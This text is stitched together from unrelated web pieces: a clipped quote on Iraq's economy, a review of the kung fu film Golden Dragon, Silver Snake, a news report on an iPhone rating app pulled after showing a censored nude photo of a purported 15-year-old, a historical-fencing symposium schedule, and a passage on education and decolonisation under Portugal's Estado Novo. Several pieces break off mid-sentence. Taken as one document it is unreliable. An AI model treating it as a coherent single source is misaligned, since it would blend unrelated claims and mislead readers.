The President characterized the Iraqi economy this way, “A year later, almost every key economic indicator has turned around. Since the surge began, business registrations have increased by more than 9 percent. Total inflation has fallen by more than 60 percentage points. Investment in the energy and telecom industries has increased. The agriculture sector is improving. Oil production is up, particularly north of Baghdad. The oil fields there have more than |
’t. It’s not the only thing which hasn’t changed though, Golden Dragon, Silver Snake employs a lot of old-school kung fu movie tropes, and simply applies them to a modern setting. The rickshaw driver turns out to be a kung fu master, and sets about training Chan via making him walk around while balancing rocks at the same time. Drunken Master reference check box – ticked! The difference is of course, that in these training scenes, they’re both dressed in modern day threads, and despite taking place in a forest, get disturbed by motorbike riding gangsters rather than mischievous kung fu rascals (or Dean Shek).
Golden Dragon, Silver Snake appears to be a genuine co-production between Korea and Hong Kong, co-directed by Kin Si-hyun and Godfrey Ho, and was originally titled A Fight at Hong Kong Ranch. The movie also provides us with Kong Do, a familiar face from many Hong Kong movies such as Tiger Over Wall and Kung Fu Zombie, as the bad guy of the piece. It’s really the bad guys here which make proceedings so entertaining. The mystery Blofeld style villain, who we never see the face of for the majority of the runtime, doesn’t just stroke his cat, he energetically throws it into the face of any lackey who’s screwed up, subjecting them to its wild scratching. The villain’s base is also inside a gym, which is constantly full of shirtless guys pumping all kinds of iron. When I say gym, I mean all of their meetings take place around the guys who are exercising, it doesn’t even seem to have its own office.
Special mention has to go to the randomly inserted scene of Chang Il-do (aka Bruce Lei) facing off against Samuel Walls. This scene comes out of nowhere near the beginning of the movie, and to add to its strangeness, the scene itself is also abruptly edited. Mid-fight it suddenly changes, and Walls has gone from being shirtless and fighting Il-do, to wearing full dobok and fighting Nick Cheung Lik. In a lame attempt at creating some coherency, the scene ends on a close-up of Dragon Lee grinning like a Cheshire Cat. What does it all mean? I have absolutely no idea, apart from there must have been some unused footage from Enter the Three Dragons, so they threw it in here.
The finale of Golden Dragon, Silver Snake is over 20 minutes of basically non-stop fighting, as both Lee and Chan storm the bad guys hideout, which is what looks to be a large unused resort complex. The focus is much more on Lee than Chan in the action scenes, with Lee rampaging through what must be close to twenty or more suited and booted lackeys in everything from empty swimming pools to a fairground. It kind of reminded me of a scene in Tom Yum Goong, when Tony Jaa takes on an endlessly re-generating bunch of black suit wearing bad guys in the finale to that movie. Speaking of being reminded of other movies, Lee’s fight in a playground pre-dates Jackie Chan’s similar scene in Police Story 2 by 8 years. Bad guys are dispatched using swings, see-saws, and even the slide sees some action!
Chan of course also gets to bust out some moves, although the filmmakers seem to struggle to fit what was the real Jackie Chan’s form of comedic fighting into a modern day setting, which was in line with the stars output at the time. So the result is we see him performing what can only be described as egg kung fu, complete with a soundtrack which is made up of chickens clucking. It’s quite jarring when juxtaposed with Lee’s screaming intensity in the scenes that are being cut alongside it. As if Johnny Chan randomly pulling eggs out of thin air wasn’t enough, at one point Kong Do also takes off a wig he’s been wearing, to reveal a full head of hair underneath! None of this gets any explanation, it’s just thrown in there with no rhyme or reason, which somehow makes it even more hilarious.
Thing culminate quite unexpectedly, with an impressive stunt that sees Lee clinging onto the front of a speed boat as it takes to the water. This is the only time I’ve seen Dragon Lee perform stunt work, as he’s usually a straight-up kung fu guy, so it was refreshing to see him in such a dangerous situation. It’s both clear that it’s him, and that the boat is traveling at quite a speed, no undercranking here, so kudos to him for performing such a potentially dangerous stunt.
Eventually things end up back on dry land, and we finally get to see what he’s been carrying in his tube shaped backpack (think Bruce Lee in Enter the Dragon when he first infiltrates the underground base) – it’s a steel baseball bat! What other movie has Dragon Lee, armed with a steel baseball bat, squaring off against opponents wielding everything from a drill (Tiger on the Beat would up the ante on using power tools a few years later) to a pair of knives? The answer of course is none, but thankfully, Golden Dragon, Silver Snake does it right first time.
Paul Bramhall’s Rating: 7.5/10(Updates with Apple pulling the application Thursday)
A photo ostensibly showing a 15-year-old nude girl has turned up in an iPhone app, highlighting Apple's inability to safeguard its application store from prohibited content.
The image appears in the free app BeautyMeter, which enables people to upload photos that are then rated by others, who assign a star-rating to members' body parts and clothing. It's much like an iPhone version of Hot or Not and many similar sites.
On Thursday, Apple pulled the app from the iTunes store.
The photo to the right (censored by Wired.com) depicts a photo of a nude girl snapping a photo of her reflection in a mirror. In the screenshot, the girl, who is listed as a 15-year-old from the United States, is topless and partially nude at the bottom. Nearly 5,000 users of the app have rated the photo. iPhone app review site Krapps discovered the photo.
The appearance of nudity in BeautyMeter underscored Apple's difficulties regulating content in its App Store, which has surpassed 50,000 pieces of software available for download. For example, last week, Wired.com reportedon an app called Hottest Girls, which released an update for its app to include topless photos of women. Apple pulled the app hours later, saying porn is not allowed.
"Apple will not distribute applications that contain inappropriate content, such as pornography,” an Apple spokesman said regarding Hottest Girls on June 25. “The developer of this application added inappropriate content directly from their server after the application had been approved and distributed, and after the developer had subsequently been asked to remove some offensive content. This was a direct violation of the terms of the iPhone Developer Program. The application is no longer available on the App Store.”
Apple made no similar announcement regarding BeautyMeter. It simply disappeared from the App Store. But in theory people who already had the app can continue to use it, including the upload and rating functionality.
On its web site, BeautyMeter's developer Funnymals says members of BeautyMeter are required to provide their iPhone device ID so illegal content can be traced back to the owner of that phone.
"We don't review each uploaded photo exclusively but from time to time we will clean up," Funnymals stated in BeautyMeter's terms and conditions.
As of 1:30 p.m. PDT Wednesday the image of the purported 15-year-old was still in the app.
Funnymals and Apple did not immediately respond to requests for comment. Wired.com has not confirmed the photographed girl's identity or her age.
Although U.S. federal and state laws prohibit child pornography, Funnymals and Apple will probably not be held liable for the content because they would be protected by the Communications Decency Act, according to Mark Rasch, a lawyer and founder of computer security consulting firm Secure IT Experts. That's because when Apple approved the app, it did not contain the prohibited content. Instead, the app downloads images off the internet, thus placing the responsibility on the people who use the app.
However, Rasch said he expects Apple to remove the application, or the developer to remove the content, once made aware of it.
"They probably don't have liability unless they have actual knowledge, in which case they have at least a legal or moral duty to act," Rasch said.
See Also:Table of Contents:
German series Italian rapier series Medieval Italian series Spanish series
Friday Coached Sparring will take place during workshops/lectures (3rd floor lobby at the Masonic Centre) and will be replaced by open sparring during lunch breaks. All symposium pass holders are welcome to participate. Time Track 1 Track 2 Track 3 Track 4 Lectures 9:00 Welcoming Ceremony 10:00 Guy Windsor
Armizare Track Day 1:
The Medieval Dagger
(180 min) Eric Myers & Puck Curtis
Destreza Track Day 1:
Reduction of Movement
(180 min) Marco Quarta
Fighting the Fight
(180 min) David McCormick
Punch & Thrust
(75 min) 11:15 11:45 Kaja Sadowski
Hollow & Arch
(75 min) 13:00 Lunch/Open Sparring 14:00 Christian Tobler
German Track Day 1:
Footwork, Guards, Blows, and Cutting Patterns
(180 min) Devon Boorman
Italian Rapier Track Day 1:
The True Fight
(180 min) Matthew Howden
Introduction to Thibault
(180 min) Loki Jörgenson
Filipino Espada y Daga
(180 min) 15:15 15:45 17:00 18:00 Meet and Greet at Academie Duello, Open Sparring, and Master Class Auditions (drills & exercises)
Note: Potential master class participants should expect to use part of this time to get instructor approval. 19:00 20:00 21:00 22:00 23:00 Saturday Coached Sparring will take place during workshops/lectures (3rd floor lobby at the Masonic Centre) and will be replaced by open sparring during lunch breaks. All symposium pass holders are welcome to participate. Time Track 1 Track 2 Track 3 Track 4 Lectures 9:00 Guy Windsor
Armizare Track Day 2:
The Medieval Longsword (Fiore)
(180 min) Eric Myers & Puck Curtis
Destreza Track Day 2:
From Theory, Victory
(180 min) Marco Quarta
Venire ai ferri corti:
From dagger to knife fight
(180 min) Devon Boorman
Italian Rapier Master Class
(75 min) 10:15 10:45 Christian Tobler
The Reversed Left Hand Grip in German Longsword
(75 min) Bob Charrette
Mail to Plate:
A Not So Simple Transition 12:00 Lunch/Open Sparring Tom Leoni et al
What makes good HEMA? 13:00 14:00 Christian Tobler
German Track Day 2:
Entering the Fight, Working in the Bind,
and Exiting the Fight Safely
(180 min) Devon Boorman
Italian Rapier Track Day 2:
Extending the True Fight
(180 min) David R. Packer
& Kaja Sadowski
Marozzo’s Knife Work
(180 min) David McCormick
Physical Culture
(75 min) Puck Curtis
Science and Violence:
When swords are better than guns 15:15 15:45 Puck Curtis & Eric Myers
Destreza Master Class
The Time Thief:
The Journey Beyond the Before, During, and After
(75 min) 17:00 Dinner Break 18:00 19:30 Saturday Night Gala 20:00 21:00 22:00 23:00 Sunday Coached Sparring will take place during workshops/lectures (3rd floor lobby at the Masonic Centre) and will be replaced by open sparring during lunch breaks. All symposium pass holders are welcome to participate. Time Track 1 Track 2 Track 3 Track 4 Lectures 9:00 Guy Windsor
Armizare Track Day 3:
Vadi’s Longsword
(180 min) Eric Myers & Puck Curtis
Destreza Track Day 3:
Adversary as Mechanism
(180 min) Mark Mikita
Disarms, Counter-Disarms,
and Counter-Counter-Disarms
(180 min) Tom Leoni
Fabris Book II
(180 min) 10:15 10:45 Noelle Phillips
Pen and Sword: Imagining Weaponry in Medieval Manuscripts 12:00 Lunch/Open Sparring Dr. Noelle Phillips & Daniel Helbert
Why Do We Fight?:
The Warrior Cultures of Medieval England 13:00 14:00 Christian Tobler
German Track Day 3:
Breaking the Guards, Combination Attacks, and Feints
(180 min) Devon Boorman
Italian Rapier Track Day 3:
The Deceptive & Adaptive Fights
(180 min) Steaphen Fick
Joseph Swetnam’s
Rapier and Dagger
(180 min) Tom Leoni
Bolognese Two Sword
(75 min) David R. Packer
Performance Nutrition for Martial Artists 15:00 15:45 Marco Quarta
Fighting the Fear
(75 min) Bob Charrette
Fiore’s Armor 17:00 Closing Ceremony 18:00 Farewells at Academie Duello/Open Sparring 19:00 20:00 21:00 22:00 23:00
Multi-Day Intensive Workshop Series (3 x 3 hours)
Guy Windsor – Medieval Italian intensive: Italian dagger and longsword according to Fiore and Vadi
Note: To get the most out of this workshop series, students should familiarize themselves with Guy’s books The Medieval Dagger, The Medieval Longsword, and Veni Vadi Vici. Come to class with practical questions ready (academic discussion will be reserved for the bar afterwards), and a wish-list of material to cover. Day 1: The Medieval Dagger
This class will lay the foundation for the three day course, as we will cover the fundamental principles of Fiore’s Art of Arms, as expressed in his dagger material (drawing primarily from the Getty Manuscript, and also from the Pisani-Dossi), and the fundamental principles of skill development. We will swiftly survey the breadth of the material and the principle strategies for learning it, and then go deep into a few plays, guided by the interests of the participants, to discover how to take the material from “I know this in theory” to “I can do this”. Equipment Requirements: Dagger simulator (wood preferred, but any will do; steel must have a rubber or plastic blunt on the tip); mask. We will not be addressing falling, so if you do not know how to fall safely, then inform your partner and you will not be thrown. Academie Duello will provide a limited number of dagger simulators for the workshop. If you don’t have a dagger, you can also bring a 12-18″ long stick.
Recommendations: Prepare beforehand by reading Guy’s book on the class topic: The Medieval Dagger.
Day 2: The Medieval Longsword (Fiore)
This class will take the learning theory of the Dagger class, and apply it to Fiore’s Longsword plays (drawing primarily from the Getty manuscript). We will first establish the logical pattern and structure of the plays as a whole, then take a few of them, guided by the interests of the students present, and go deep into mastering their applications. Equipment Requirements: Longsword simulator (blunt steel preferred; ideally with a rubber or plastic blunt on the tip); mask.
Recommendations: Prepare beforehand by reading Guy’s book on the class topic: The Medieval Longsword.
Day 3: Vadi’s Longsword
This class will cover the theory and practise of fighting with the longsword that Philippo Vadi describes in his book De Arte Gladiatoria Dimicandi. We will follow the same general pattern as in the first two classes; first look at the breadth of material, then go deep into a small sample. Vadi describes “the depths and banks of the Art”; given that this style is generally less well known than Fiore’s, and has far more explicitly described theory, we will spend more time on the banks, and less time on the depths. Equipment Requirements: Longsword simulator (blunt steel preferred; ideally with a rubber or plastic blunt on the tip); mask.
Recommendations: Prepare beforehand by reading Guy’s book on the class topic: Veni Vadi Vici.
Puck Curtis and Eric Myers – Spanish intensive: Smaller, Fewer, Smarter: Beyond the Basics
Day 1: Reduction of Movement Working through the system starting with the larger actions and reducing the number of movements.
Day 2: From Theory, Victory Controlling the opposing steel, controlling the space, controlling the times.
Day 3: Adversary as Mechanism Forcing movement from the adversary and stealing his times. Over the course of three days the instructors will use Destreza as the lens by which we will study and unite the sword held in a single hand with the montante to create a distilled set of concepts which both weapons share and use Destreza theory to understand the differences. We will examine how to create lethal efficiencies in the practice which allow you to make smaller movements, fewer movements, and smarter movements. Particular attention will be paid to applying the basics against an advanced adversary and partnering with the opponent to bring about their defeat. Equipment Requirements: Mask, single-handed training sword, gloves. Padded jacket recommended. Montante simulators will be provided by Academie Duello.
Christian Tobler – German intensive: Longsword, Messer, Sword and Buckler: Principles, tactics, and strategies in Liechtenauer’s art of fighting
Day 1: Footwork, Guards, Blows, and Cutting Patterns
Day 2: Entering the Fight, Working in the Bind, and Exiting the Fight Safely
Day 3: Breaking the Guards, Combination Attacks, and Feints
This three day intensive will explore the applications of Liechtenauer’s art of swordsmanship using three weapon forms: longsword, messer, and the combination of sword and buckler. Beginning with basics on Day 1, we will then explore the more sophisticated concepts of what to do when the swords meet, how to properly attack, and the still more advanced ideas behind compound attacks and feints. Note: Novice students of German swordsmanship should not attempt to skip the first day.
Equipment Requirements: A blunt longsword, blunt arming sword and/or messer, buckler, fencing mask and leather gloves.
Devon Boorman – Italian rapier intensive
Day 1: The True Fight
Within all of the core Italian rapier texts there exists a fundamental mechanical, tactical, and contextual approach to the art of the duel. In this first class students will learn the fundamental postures of Italian rapier, how to strongly find and gain the opponent’s sword, control the tempo of a fight, and apply the fundamental strategy that exists throughout the Italian rapier corpus. Equipment Requirements: Mask, gorget, and rapier.
Knowledge Requirements: A grounding in the fundamentals of Italian rapier is recommended but not required. We will be covering a lot of material on this first day so brand new practitioners of the rapier should be prepared for information overload.
Day 2: Extending the True Fight
In the second class of the series students will extend the framework established in class 1 to include a broader set of tools that add depth and breadth to the True Fight. Topics will include using offline and cross-line movement to increase control of the opponent’s weapon and increase the tempo and predictability of their next actions; use of voids (sudden offline movements) to avoid attacks and strike to difficult to defend targets; and the closed and open positions of the rapier & dagger and rapier & offhand. Intensity: This will be an intense, fast moving class.
Equipment Requirements: Mask, gorget, rapier, and dagger (optional).
Knowledge Requirements: A grounding in the True Fight of Italian rapier as covered in class 1.
Day 3: The Deceptive and Adaptive Fights
Once you know the rules you can begin to explore what it means to break them. First, students will explore the Deceptive Fight where feints, misdirection, and provocation will be used to bring an opponent out of position, open them up tactically, and exploit various common motivations and errors. Then, in the Adaptive Fight students will explore the concept of continual movement forward where a lost crossing is transformed into a winning position. Ideas from within the full Italian system of swordsmanship from Fiore to Fabris will inform this rich set of exercises. Intensity: This will be an intense, fast moving class.
Equipment Requirements: Mask, gorget, rapier, and dagger (optional).
Knowledge Requirements: A grounding in the True Fight of Italian rapier as covered in class 1.
3-hour Hands-on Workshops
Marco Quarta – Fighting the fight: Closing the gap from misura to gioco stretto
“Io te tengo in modo al mio parere,in terra anderai contra el tuo volere”
(I control you the way I prefer, you will go down against your will)
– [Magistro Filippo Vadi] In a fight there are multiple dimensions constantly at play that will affect the outcome. For example, combat with the use of long weapons can be limited in the application of grappling on the ground. Conversely in a free hand situation can be critically challenging to defend yourself against an opponent armed with a weapon. In this workshop we will train how to mutate and transfer one dimension into another to our advantage. In particular we will train how to close distance and timing and still be in control in a grappling situation; conversely we will see and how to escape from an uncomfortable close distance to re-define a long range fight. The three pillars in fencing are “modo, tempo e misura”. We can recapitulate them as the strategy, timing and distance required in becoming the architect of an assalto or a fight. The stage where two opponents confront each other is always defined by the space/time. Transferring efficiently the right strategy in the right place at the right time allows the fighter to design a dynamic action while changing the parameters and the geometry of the fight. Over the centuries, the European “Mastri di Scherma” developed highly efficient applications of these principles to survive and rule in different fighting scenarios. Medieval Masters as Fiore de Liberi and Filippo Vadi showed us how to fight in close distance with weapons”. Nineteenth centuries fencing masters as Luigi Carmine or Giannino Martinelli showed us how to self defense with bare hands against attacks of blades or sticks. Street fighting methods in family-regional Italian schools are still popular today to learn how to “dance the fight” while moving from narrow street to large town squares. We will learn combat strategies derived from the original sources, and we will transfer them to techniques that will be trained in the class to expand our skills in the armed and unarmed fight. Intensity: Medium to high
Knowledge Requirements:: Fencing experience
Equipment Requirements: Mask, heavy gloves, boxing gloves
NOTE: VISS will supply a limited amount of loaner gloves, but if you have a pair, bring your own!
Marco Quarta – Venire ai ferri corti: from dagger to knife fight
Short-to-middle range is the place where knife fighting takes place. It requires combining together the skills of a fencer and of a wrestler combined together. We could call it the “middle earth”, where the “light, distant and geometric” sword play meets the “dark, blind and physical” grappling, the land where the two dimensions join together. We will explore principles of dagger and knife fencing, touching the traditions of the Italian mediaeval and renaissance masters and some of the Italian regional folkloric knowledge of the use of the “ferri corti”. We will practice armed versus unarmed, strategies “in misura”, “sotto misura”, attacks, protections, and “contrarie”. Intensity: Low to high
Equipment Requirements: Equipment Requirements: Fencing mask, training dagger and knife, protective leather gloves. Academie Duello will supply training knives and daggers, but feel free to bring your own blunt training knives and daggers.
Knowledge Requirements: None
David R. Packer and Kaja Sadowski – Marozzo’s Knife Work: Modern tactical applications
This class will explore Achille Marozzo’s 22 knife defense techniques, adapted for a modern tactical environment. Students will learn how to assess and respond quickly to situations where they at a disadvantage. The class focus will be on scenario-based drilling that allows students to safely test the effectiveness of each technique, beginning with the simplest and easiest to apply, and working through to the most complex. Intensity: Medium-high; frequent scenario-based drilling, and high energy output during drills
Equipment Requirements: Plastic or rubber training knife. Academie Duello and Valkyrie WMAA will supply training knives and daggers, but feel free to bring your own, too!
Knowledge Requirements: None
Matthew Howden – Introduction to Thibault
Few things are more important in the art of defense than the ability to make sound decisions and implement them in the correct time. This hands-on class will examine key elements of Gerard Thibault’s rapier system with specific emphasis on how he sets up each aspect of the fight from entry, to engagement, to striking and exiting, and around the need to control and respond to the changing variables of the fight at each measure. Knowledge Requirements: This class is appropriate to all skill levels.
Equipment Requirements: Rapier, mask, gloves.
Steaphen Fick – Dagger and Rapier: The offensive use of the dagger from Joseph Swetnam
In Joseph Swetnam’s manuscript The Noble and Worthy Science of Defence he talks about the five ways to use the dagger in the fight. He also talks about the ways NOT to use the dagger. In this class we will be learning how to use the dagger in the fight. The sword is generally the offensive weapon in the rapier and dagger fight, but here we will be learning how to use the dagger as the offensive weapon while defending with our rapier. We will also be learning some of the guards that Swetnam teaches and how to use these guards to defend and offend our adversary. We will be using the footwork that Swetnam teaches. Our class will include movement and timing to help in the use of the sword and dagger work. Knowledge Requirements: None
Equipment Requirements: Mask, gloves, rapier, dagger (fencing jacket or doublet, gorget, vambraces or other forearm guards are recommended).
Tom Leoni – Book 2 of Salvator Fabris’s Lo Schermo, overo Scienza d’Arme
In Book II, Fabris teaches advanced swordsmen how to fence without stopping in guard, but rather by confidently walking from out of measure to where the point of the sword scores a hit. Although introduced by Fabris alone, this mode of fencing remained a vital part of standard Northern European swordsmanship curricula all the way into the 19th century. Today, Fabris’ Book II is an excellent “etude” to help refine practically all aspects of rapier fencing: measure, tempo, strongs and weaks, opening and closed lines, blade feel, cavazioni, yields, voids and counterattacks. In this 3-hour class, we will systematically go over Fabris’s first of six techniques on how to proceed against the opponent without stopping in guard. This will greatly benefit intermediate-to-advanced rapier fencers who want to refine their technique, as well as rapier instructors and study-group leaders who want to teach this important aspect of historical fencing as well as understand how to practically apply Fabris’s other 5 techniques. Knowledge Requirements: This class is intended for intermediate to advanced rapier fencers.
Equipment Requirements: Rapier, mask.
Loki Jörgenson – Filipino Espada y Daga
Spanish conquest of the Philippines brought new weapons, better metal, and modern techniques to tribal warrior societies. Proud of their native fighting arts, Filipinos to this day claim the death of explorer of Ferdinand Magellan as proof their skills and prowess long before they adopted the arts of the conquistadors. Weapons are at the heart of the Filipino arts, known variously as kali, arnis or eskrima. Use of two weapons was common and so sword and dagger was quickly adopted. Techniques and training methods from Pekiti-Tirsia System of Kali will be shared including some classic methods for close quarters partner training. Knowledge Requirements: Intended for Western martial artists looking outside of the traditional European weapon practices. Some experience with Western sword and dagger technique may be beneficial.
Intensity: Moderate
Equipment Requirements: FMA works with relatively short 28-23″ machete length blades, as well as knives. Bring sticks and knives if you don’t have really short swords. Maelstrom Martial Arts will provide wooden & rattan training swords and knives, but feel free to bring your own!
Mark Mikita – Disarms, counter disarms, and counter-counter disarms
Mark’s workshop will focus on: Disarming, counter-disarming and counter-counter-disarming a skilled opponent – How to train so you can actually do it.
Distance, time and the effective use of the ‘live hand’ – traps, set-ups and dirty tricks in close-quarter fighting.
The counter-offensive mindset – staying on the offensive while maintaining an impenetrable defense.
Awakening from the still semi-asleep state that often passes for mindfulness. Equipment Requirements: Sticks and training knives. Maelstrom Martial Arts will provide sticks, and Academie Duello will provide training knives, but feel free to bring your own training knives and/or 28-30″ sticks!
75-minute Hands-on Workshops
Christian Tobler – The Reversed Left Hand Grip in German Longsword
A number of German Fechtbücher include curious images where one combatant is shown gripping a longsword with the left hand in a reversed position; i.e., with the thumb facing the pommel. Most researchers have concluded that these depictions are nothing more than artistic anomalies. A study, begun by Mr. Dierk Hagedorn of the Hammaborg swordsmanship club, yielded compelling tactical and mechanical advantages, albeit with some caveats, strongly suggesting these images do not represent artistic fancy, but actual and workable technique. This class will explore this hand position, along with potential applications and advantages conferred by this grip. Intensity: Low to moderate
Knowledge Requirements: Familiarity with Longsword basics.
Equipment Requirements: Longsword, Mask, Gloves
Tom Leoni – Bolognese Two Sword
The art of two swords (one per hand) is one of the best-described in Bolognese swordsmanship, and it is therefore a relatively easy one to grasp in its totality. In this class, we will explore all offenses and defenses of Bolognese two swords, so that students and teachers may easily memorize the highly logical material. Knowledge Requirements: None.
Equipment Requirements: Two single-handed swords (e.g. sideswords, arming swords, small rapiers) to be held one in each hand, fencing mask.
Marco Quarta – Fighting the Fear: The search for the Lion’s heart and the Architect’s mind
Description: The warrior’s way is based on facing your own fears, to ultimately free yourself into fearless actions and a clear decision making. Like a Knight was reaching to become enlightened in his quest for the Graal, a martial artist finds today in his practice special gates to experience the reprogramming of his mind and body. We will explore together concepts of modern neuroscience, visions of ancient medieval manuscripts, and knowledge of Asian and western philosophical exploration of the way seeking mind of a fighter. We will practice together exercises based on the Western traditions, to investigate how and why facing the challenge of a fight results first in fighting your own fears. Knowledge Requirements: None.
David McCormick – Body Mechanics of a Powerful Punch and Thrust
Who hasn’t been impressed by Bruce Lee’s 3-inch punch? Those who say “it’s all in the wrist” are missing 95% of the picture. Learn how to commit the body to a powerful strike that doesn’t just rely on your arm. Thrusting weapons benefit from this training just as much as boxers, and we’ll apply these insights to bayonets, spears, rapier and longsword. Intensity: Moderate
Knowledge Requirements: None
Equipment Requirements: Rapier or Longsword (if desired)
David McCormick – Physical Culture Exercise (Indian clubs, medicine balls, feats of strength)
Get the best start for your day by learning the best classical exercises using traditional equipment or bodyweight. The term “physical culture” was used in the 19th century to denote all aspects of training the body that were not sportive: strength, flexibility, coordination and endurance. It was commonly believed that a gentleman should be “morally upright and physically fit.” Intensity: Push yourself (non-competitive)
Knowledge Requirements: None
Equipment Requirements: None
Kaja Sadowski – Hollow and Arch: Structure for martial artists
This class will introduce students to two fundamental body positions that provide stability and structure for martial artists. Students will be taught a basic set of body-awareness and strength exercises that incorporate the hollow and arch structures. Then, they will learn how to integrate these positions into their current fighting practice to improve guard stability, body alignment, mobility, and overall performance. Intensity: Medium; some gymnastic body-weight exercises, and slow exploration of body positions and mechanics
Knowledge Requirements: None
Equipment Requirements: None; students may bring their primary training weapon
75-minute Master Class Workshops
Master classes are designed for intermediate to advanced students to study more in-depth. Students who wish to participate in master classes must be individually approved by instructors.
Puck Curtis and Eric Myers – (Destreza Master Class) The Time Thief: The Journey Beyond the Before, During, and After
The Before, the During, and the After… These concepts are well known to most modern practitioners of western sword arts, but in the deeper waters of Destreza theory untold riches await the experienced martial artist with the courage to look for them. La Verdadera Destreza’s method of stealing the place from your adversary is the diestro’s playground. In this class we will use the adversary’s movements and footwork against him to develop our assaults at his expense. (This class will be particularly useful if you often fight with a reach disadvantage.) Equipment Requirements: Mask, single-handed training sword, gloves. A padded jacket is recommended.
Devon Boorman – (Italian Rapier Master Class) Italian Rapier Principles for Unorthodox Postures
How do you apply Italian Rapier principles when facing people who are not doing Italian rapier? This workshop will focus on dealing with low swords, offline movement, and Spanish fencers.
Equipment Requirements: Mask, rapier, gloves.
Private Lessons
In addition to the workshops, master classes, coached sparring, and lectures, the following instructors will be available for private lessons during VISS:
Puck Curtis
Steaphen Fick
Matthew Howden
David McCormick
Mark Mikita
Marco Quarta
Kaja Sadowski
Christian Tobler
Private lessons are available for $100/hour + 5% GST. Please contact our registrar to check availability.
Lectures
Panel Discussion: What makes good HEMA? featuring Tom Leoni et al.
Panel: The characteristics are of a good HEMA researcher, and what makes the difference between one who has the right intuitions and one who has a knack for always choosing the wrong “door.”
Performance Nutrition for Martial Artists by David R. Packer
Students will learn how to manage their nutrition for long-term training and competition performance.
Mail to Plate: A Not So Simple Transition by Bob Charrette
A survey in art and archaeology of the change from the mostly mail-armored knight of the High Middle Ages to the mostly plate-armored knight of the Late Middle Ages. We will look at what the changes meant to mobility, protection, and martial practice as well as how the changes may have influenced the development of fighting arts.
Fiore’s Armor by Bob Charrette
Fiore dei Liberi’s il Fior di Battaglia (aka Flos Duelotorum) is the earliest treatise we have that deals with armored combat. But what was the effect of armor? We will look at some of what Fiore said about it, what he showed of it in his manuscripts, and relate Fiore’s references to what is known of the time period’s arms and armor from art, archaeology, and historical documents.
Science and Violence: When swords are better than guns by Puck Curtis
Swordplay is textured with layers of Aristotelian theory but science didn’t stop when Aristotle died. This interactive lecture will explore sciences old and new as we apply modern understanding to the practice of western martial arts, how we deal with violence, and how we can study violence to improve our lives. What have we learned that can make us better martial artists, better teachers, and better human beings? Together we will look at some research, try some experiments, and look afresh at the sword with our new causes in hand.
Why Do We Fight?: The Warrior Cultures of Medieval England by Daniel Helbert, Professor Noelle Phillips, and Professor Robert Rouse of the University of British Columbia
In this three-part lecture, you will hear about the martial culture of three distinct periods in English medieval history. First, Daniel Helbert will discuss the heroic military culture of the Anglo-Saxons, discussing the hierarchical system of the germanic comitatus and the warrior society that it lay at the centre of. He will also discuss the other warrior cultures of early medieval Britain, including the Welsh arglwydd/rhyfewr retainer system. Next, Robert Rouse will move us on to the twelfth-century and the highly topical question of the Crusades. The transition from fighting for glory to fighting for God was one that had a deep impact on the warrior culture of western Europe, and played a large role in the rise of what we now term Chivalry. Finally, Noelle Phillips will cover the collapse of practical Chivalry during the fifteenth-century Wars of the Roses, where warrior culture was once again transformed: this time by the horrors of civil wars and the introduction of technologies such as the battlefield cannon and hand-held gonne.
Storied Swords: Behind the Legendary Swords of the Middle Ages by Professor Robert Rouse of the University of British Columbia
From Arthur’s Excalibur to Arya’s Needle, all the best swords have names. Far from being the invention of modern fantasy writers, the tradition of naming swords is well attested in medieval culture. A practice that is revealing of the importance of the sword to martial medieval culture, it also speaks to the role that swords play as objects that literally record history. This lecture will reveal the stories |
a tiny elite. In general, teenagers used to leave school and start to work early. In contrast with other European nations, the country had had a poor record in educational policies since the 19th century. By the end of the 19th century the illiteracy rate was at over 80 percent and higher education was reserved for a small percentage of the population. 68.1 percent of Portugal's population was still classified as illiterate by the 1930 census. Portugal's literacy rate by the 1940s and early 1950s remained low for North American and Western European standards at the time. However, in the 1960s the country made public education available for all children between the ages of six and twelve, founded universities in the overseas provinces of Angola and Mozambique (the University of Luanda and the University of Lourenço Marques during the period of Adriano Moreira as Minister of the Overseas Provinces), recognized the Portuguese Catholic University in 1971, and by 1973 a wave of new state-run universities were founded across mainland Portugal (the Minho University, the New University of Lisbon, the University of Évora, and the University of Aveiro – Veiga Simão was the Minister in charge for education by then). In addition, the long established Lisbon and Coimbra universities were highly expanded and modernized in the 1960s. New buildings and campuses were constructed, like the Cidade Universitária (Lisbon) and the Alta Universitária (Coimbra). The last two decades of the Estado Novo, from the 1960s to the 1974 Carnation Revolution, were marked by strong investment in secondary and university education, which experienced in this period one of the fastest growth rates of Portuguese education history to date. Though this corresponded to significant growth of post-primary enrollment in larger urban areas, yet there was a gap to be filled in the following years, given the little time to overcome their disadvantaged starting position. The massification of secondary education was only achieved in the late 1970s and 1980s, so by the time of the Carnation Revolution in 1974 illiteracy was receding, but low-literacy and illiteracy was still high, compared with the highest standards already achieved by the most developed countries in the world.
Egas Moniz, a Portuguese physician who developed the cerebral angiography and leucotomy, received in 1949 the Nobel Prize in Physiology or Medicine – even now, the only Portuguese recipient of a Nobel in the sciences.
End of the regime [ edit ]
Memorial at the churchyard Cemitério dos Prazeres in Lisbon for one of the many actions against the regime of Salazar; Operation Vagô where leaflets were spread over several Portuguese cities from a TAP plane in 1961. The text says: "When the dictatorship is a reality, the revolution is a right."
After India achieved independence in 1947 under the Attlee government, pro-Indian residents of the Portuguese overseas territory of Dadra and Nagar Haveli, with the support of the Indian government and the help of pro-independence organizations, liberated Dadra and Nagar Haveli from Portuguese rule in 1954.[31] In 1961, the fort of São João Baptista de Ajuda's annexation by the Republic of Dahomey was the start of a process that led to the final dissolution of the centuries-old Portuguese Empire. According to the census of 1921 São João Baptista de Ajudá had 5 inhabitants and, at the moment of the ultimatum by the Dahomey Government, it had only 2 inhabitants representing Portuguese Sovereignty. Another forcible retreat from overseas territories occurred in December 1961 when Portugal refused to relinquish the territories of Goa, Daman and Diu. As a result, the Portuguese army and navy were involved in armed conflict in its colony of Portuguese India against the Indian Armed Forces. The operations resulted in the defeat of the limited Portuguese defensive garrison, which was forced to surrender to a much larger military force. The outcome was the loss of the remaining Portuguese territories in the Indian subcontinent. The Portuguese regime refused to recognize Indian sovereignty over the annexed territories, which continued to be represented in Portugal's National Assembly. The so-called "Winds of Change" concerning historical colonization in Europe-ruled overseas territories, started to have influence over the centuries-old empire. The end of the Estado Novo effectively began with the uprisings in the overseas territories in Africa during the 1960s. The independence movements active in Portuguese Angola, Portuguese Mozambique and Portuguese Guinea were supported by both the United States and the Soviet Union, which both wanted to end all colonial empires and expand their own spheres of influence.
